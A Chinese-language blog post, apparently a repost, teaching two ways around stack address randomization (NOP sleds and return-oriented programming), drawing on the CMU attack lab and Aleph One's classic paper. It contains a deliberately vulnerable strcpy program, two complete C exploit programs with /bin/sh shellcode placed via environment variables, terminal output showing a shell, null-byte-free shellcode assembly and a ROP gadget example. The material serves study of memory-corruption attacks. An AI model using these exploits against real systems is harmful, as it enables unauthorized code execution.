對抗棧幀地址隨機化/ASLR的兩種思路和一些技巧


棧幀地址隨機化是地址空間布局隨機化(Address space layout randomization,ASLR)的一種,它實現了棧幀起始地址一定程度上的隨機化,令攻擊者難以猜測需要攻擊位置的地址。


第一次遇到這個問題是在做cs:app3e/深入理解操作系統attacklab實驗的時候,后來在做學校的一個實驗的時候也碰到了這個問題,最近在看一篇“上古黑客”寫的文章的時候又碰到了這個問題,所以寫一篇博文總結一下我了解的兩種對抗思路。




1. NOP slide

注:以下環境基於Linux IA-32

第一種思路是NOP滑動,也稱為NOP sled 或者 NOP ramp,是指通過命中一串連續的 NOP (no-operation) 指令,從而使CPU指令執行流一直滑動到特定位置。

使用前提:未開啟棧破壞檢測(canary)和限制可執行代碼區域。

很多時候我們是把注入的代碼放在存在溢出問題的緩沖區中的(例如一個execve指令),然后將緩沖區所在棧幀的返回地址淹沒為緩沖區的起始地址,這樣回收棧幀返回時%rip就會轉向到緩沖區的位置,隨后開始執行我們注入的指令。如下所示,其中S代表我們注入的指令,0xD8代表了buffer的起始地址:

           buffer                sfp   ret   a     b     c

<------   [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
           ^                            |
           |____________________________|
top of                                                            bottom of
stack                                                                 stack

而問題就在於在地址隨機化的情況下我們需要完全准確的猜中buffer的起始地址(下文中使用“命中”這個詞代指),而這是非常低效的——我們可能要成千上萬次才能發生一次命中。究其根本原因就是必須命中一個點,如果我們能夠將命中范圍擴大,命中的幾率也會上升——這就是我們插入大量NOP指令的原因。大多數處理器都有這個“null 指令”,它除了使%rip指向下一條指令外沒有別的用處,通常用來進行對齊或者延時。如果我們將注入的代碼放在buffer的高地址處,低地址處全部放上連續的NOP指令,這樣我們只需要命中低地址的任何一個ROP指令,最終都會滑動到注入的代碼部分,如下所示,N代表NOP,S代表代碼部分,0xDE為buffer的低地址中的任意位置。

           buffer                sfp   ret   a     b     c

<------   [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
                 ^                     |
                 |_____________________|
top of                                                            bottom of
stack                                                                 stack

演示代碼:

vulnerable.c

void main(int argc, char *argv[]) {
  char buffer[512];

  if (argc > 1)
    strcpy(buffer,argv[1]); /* 讀取第一個參數的內容保存到buffer中 */
}

exploit.c

#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define NOP                            0x90

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;

  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]); /* 猜測的偏移地址 */

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_sp() - offset;
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)	/* 先將payload全部填滿剛剛get_sp() - offset猜測出的地址,隨后再填入NOP和shellcode */
    *(addr_ptr++) = addr;

  for (i = 0; i < bsize/2; i++)	/* 先填入NOP指令,為payload的一半大小 */
    buff[i] = NOP;

  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)	/* 再填入shellcode */
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';

  memcpy(buff,"EGG=",4);
  putenv(buff);
  system("/bin/bash");	/* 設置環境變量並打開新的shell環境,該環境下會繼承EGG這個含有我們構建的payload的環境變量 */
}

攻擊:

[aleph1]$ ./exploit3 612
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
$

第一次即成功命中 ; )


1.1 Small Buffer Overflows

有些時候存在溢出漏洞的緩沖區很小,我們不能完整的注入攻擊代碼,或者說能夠注入的NOP指令很少,命中的概率還是很低。但是如果我們能夠更改程序的環境變量,可以采用將payload放在環境變量的方法繞過限制(將返回地址改成該環境變量在內存中的地址。

當程序啟動時,環境變量存儲在棧的頂部,啟動后調用setenv()設置的環境變量會在存放在別處,一開始棧是這個樣子:

  <strings><argv pointers>NULL<envp pointers>NULL<argc><argv><envp>

我們要做的就是使得一個新的shell環境下新增一個包含攻擊payload的環境變量:

#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define DEFAULT_EGG_SIZE               2048
#define NOP                            0x90

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_esp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr, *egg;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i, eggsize=DEFAULT_EGG_SIZE;

  if (argc > 1) bsize   = atoi(argv[1]);
  if (argc > 2) offset  = atoi(argv[2]);
  if (argc > 3) eggsize = atoi(argv[3]);	/* 環境變量中存放payload的空間大小 */


  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
  if (!(egg = malloc(eggsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_esp() - offset;	/* 猜測環境變量存在的地址 */
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)	/* 將buffer中完全填充為猜測的環境變量的地址 */
    *(addr_ptr++) = addr;

  ptr = egg;
  for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)	/* 將環境變量設置為NOP+shellcode */
    *(ptr++) = NOP;

  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';
  egg[eggsize - 1] = '\0';

  memcpy(egg,"EGG=",4);	/* 設置環境變量, 一個是待會作為參數的RET,另一個是RET要命中的EGG */
  putenv(egg);
  memcpy(buff,"RET=",4);
  putenv(buff);
  system("/bin/bash");
}

攻擊

[aleph1]$ ./exploit4 768
Using address: 0xbffffdb0
[aleph1]$ ./vulnerable $RET
$

成功命中$EGG ; )


1.2 IP relative addressing instructions

剛剛上面講到了如何將執行流轉到我們注入的攻擊代碼處,但是在實際使用時又會產生一個新的問題:如果攻擊代碼需要使用絕對地址怎么辦。我們可以利用JMP和CALL這兩個使用%rip相對地址尋址的指令獲得對應位置的絕對地址,由於JMP和CALL指令不需要知道目標的絕對地址,而CALL指令執行的時候會將下一條指令的絕對地址存入棧中,我們就可以結合JMP和CALL及POP指令獲得絕對地址。如下所示,我們要獲得ssssss("/bin/sh")對應的絕對地址,JJ代表JMP指令,CC代表CALL指令,執行順序用(1)(2)(3)標出:

           buffer                sfp   ret   a     b     c

<------   [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
           ^|^             ^|            |
           |||_____________||____________| (1)
       (2)  ||_____________||
             |______________| (3)
top of                                                            bottom of
stack                                                                 stack

對應的偽代碼如下:

    jmp    offset-to-call           # 2 bytes
    popl   %esi                     # 1 byte  將剛剛push的"/bin/sh"的絕對地址取出
    movl   %esi,array-offset(%esi)  # 3 bytes
    movb   $0x0,nullbyteoffset(%esi)# 4 bytes
    movl   $0x0,null-offset(%esi)   # 7 bytes
    movl   $0xb,%eax                # 5 bytes
    movl   %esi,%ebx                # 2 bytes
    leal   array-offset,(%esi),%ecx # 3 bytes
    leal   null-offset(%esi),%edx   # 3 bytes
    int    $0x80                    # 2 bytes execve(name[0], name, NULL);
    movl   $0x1, %eax  		   	    # 5 bytes
    movl   $0x0, %ebx  				# 5 bytes
    int    $0x80   				    # 2 bytes exit(0)	
    call   offset-to-popl           # 5 bytes 將執行流轉到第二行的pop處,並把高地址的"/bin/sh"的絕對地址push進棧中
    /bin/sh string goes here.
    

計算偏移量,得到最終的payload:

    jmp    0x26                     # 2 bytes
    popl   %esi                     # 1 byte
    movl   %esi,0x8(%esi)           # 3 bytes
    movb   $0x0,0x7(%esi)   		# 4 bytes
    movl   $0x0,0xc(%esi)           # 7 bytes
    movl   $0xb,%eax                # 5 bytes
    movl   %esi,%ebx                # 2 bytes
    leal   0x8(%esi),%ecx           # 3 bytes
    leal   0xc(%esi),%edx           # 3 bytes
    int    $0x80                    # 2 bytes
    movl   $0x1, %eax   			# 5 bytes
    movl   $0x0, %ebx   			# 5 bytes
    int    $0x80      				# 2 bytes
    call   -0x2b                    # 5 bytes
    .string \"/bin/sh\"   # 8 bytes
    

1.3 Avoid null bytes

很多時候我們的輸入都是從終端輸入,程序使用scanf等等函數接收輸入。如果我們指令中含有null ’\0'這樣的字節,就可能會發生截斷問題,導致payload后部分輸入不能被讀入,這個時候就需要給payload中的指令做一些替換,例如:

           替換前:                				  替換后:
           --------------------------------------------------------
           movb   $0x0,0x7(%esi)                xorl   %eax,%eax
           molv   $0x0,0xc(%esi)                movb   %eax,0x7(%esi)
                                                movl   %eax,0xc(%esi)
           --------------------------------------------------------
           movl   $0xb,%eax                     movb   $0xb,%al
           --------------------------------------------------------
           movl   $0x1, %eax                    xorl   %ebx,%ebx
           movl   $0x0, %ebx                    movl   %ebx,%eax
                                                inc    %eax
           --------------------------------------------------------

轉換之后的payload:

        jmp    0x1f                     # 2 bytes
        popl   %esi                     # 1 byte
        movl   %esi,0x8(%esi)           # 3 bytes
        xorl   %eax,%eax                # 2 bytes
        movb   %eax,0x7(%esi)  		    # 3 bytes
        movl   %eax,0xc(%esi)           # 3 bytes
        movb   $0xb,%al                 # 2 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   0x8(%esi),%ecx           # 3 bytes
        leal   0xc(%esi),%edx           # 3 bytes
        int    $0x80                    # 2 bytes
        xorl   %ebx,%ebx                # 2 bytes
        movl   %ebx,%eax                # 2 bytes
        inc    %eax                     # 1 bytes
        int    $0x80                    # 2 bytes
        call   -0x24                    # 5 bytes
        .string \"/bin/sh\"             # 8 bytes
          								# 46 bytes
          


2. Return-Oriented Programming

注:以下環境基於Linux x86-64

第二種思路簡稱ROP攻擊,是代碼復用技術的一種。 思路是將執行流轉向內存中存在的機器指令,這些指令可能是該程序本身包含的.text處的指令,也可能是各種庫之中的,雖然內存中幾乎不可能存在完整的攻擊指令,但是我們可以找到很多指令片段(稱為"gadgets"),其中每一個gadget的最后都是ret指令,所以最后會返回到我們控制的棧中指示的下一個gadget的地址處,依次將所有棧中指示的gadget執行一遍,通過這些"gadgets"的組合,我們就可以達到完整攻擊的目的。ROP可以繞過棧幀地址隨機化、限制可執行代碼區域、代碼簽名等安全措施。

使用前提:未開啟棧破壞檢測(canary)。

攻擊方式如下所示,其中棧由上向下生長(c3是ret指令):


有人可能會問,即使我們能夠利用現成的指令, 但是一些特定的指令還是可能沒有,例如在返回前popq %rdi(不是callee saved)這樣的指令就很難存在。實際上,我們不僅可以使用“現成”的“完整”指令,還可以將一個長的指令拆開,利用其中分解出的指令。舉個栗子:

我們在內存中找到這樣一個函數

void setval_210(unsigned *p)
{
	*p = 3347663060U;
}

看起來這個函數的功能對我們的攻擊沒什么用,因為他是將一個特定的常數賦值給指定的內存塊。

0000000000400f15 <setval_210>:
400f15:		c7 07 d4 48 89 c7			movl	$0xc78948d4,(%rdi)
400f1b:		c3							retq

但是,如果我們將這個指令拆開,查找指令表:

可以發現48 89 c7可以對應到movq %rax, %rdi,接着也是一個c3 ret指令。所以我們就可以使用這個gadget了,它的功能是將%rax賦值給%rdi。需要注意的是這個函數的起始地址為0x400f15,我們的gadget從第四個字節開始,所以我們在棧幀中給這個gadget的地址應該為0x400f18。

尋找gadget的開源工具網上有很多,大家可以找找。




參考:

  1. Smashing The Stack For Fun And Profit 這是Phrack上的一篇古老的文章,寫於1996年,文中有一些方法和操作已經過時了,但是思路很好。另外,Phrack真的是一個很好的資源地,以后有時間會多多翻譯的。
  2. Attack Lab Writeup CMU的深入理解計算機系統實驗課指導。
  3. putenv() and setenv() 關於setenv()putenv()的區別


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM